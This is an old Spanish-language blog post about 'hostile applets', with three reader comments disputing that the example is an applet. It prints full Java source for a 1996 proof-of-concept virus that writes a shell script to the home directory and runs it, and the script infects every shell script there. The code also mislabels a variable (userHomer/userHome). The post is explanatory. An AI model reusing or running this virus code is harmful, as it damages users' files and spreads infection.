27/5/08

Applets hostiles

En los últimos años, con la proliferación de la web, Java y Javascript, una nueva forma de malware se ha hecho popular. estos instentan monopolizar o explotar los recursos del sistema de una forma inapropiada, esto incluye desde ataques clásicos como negaciones de servicio o ejecución remota de programas en la máquina cliente hasta amenazas mucho más elaboradas, como difusión de virus, ruptura lógica de cortafuegos o utilización de recursos remotos para grandes cálculos científicos.

Como ejemplo de applet hostil - aunque este en concreto no es muy peligroso - tenemos el siguiente código, obra de Mark D. LaDue (1996):

zkk:~/Security# cat Homer.java
import java.io.*;

class Homer {
public static void main (String[] argv) {
try {
String userHomer = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new
FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
zkk:~/Security#

Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes de hacerlo muestra el mensaje `Java is safe, and UNIX viruses do not exist', para después localizar todos los ficheros shell en el directorio $HOME, comprobar cuáles están infectados, e infectar los que no lo están.

3 comentarios:

Anónimo dijo...

Ese código, definitivamente NO es un applet. Y por supuesto que no es un problema de seguridad de Java... ya que podrias hacer lo mismo en algún otro lenguaje.

Por favor, infórmate antes de querer comenzar una histeria colectiva.

Anónimo dijo...

!!Como ejemplo de applet hostil - aunque ste en concreto no es muy peligroso - tenemos el siguiente código, obra de Mark D. LaDue (1996):~~~~~~!!!@!@~!@


SHHT lee todo el texto no solo el codigo ....

att: AJSM

xtecuan dijo...

Todo Java Applet extiende cualquiera de las clases java.awt.Applet o java.swing.JApplet y este que mostras no lo hace por lo cual no es un applet pero si un programa Java ya que tiene el metodo main, pero sin compilar y sin el jre este no sirve de nada.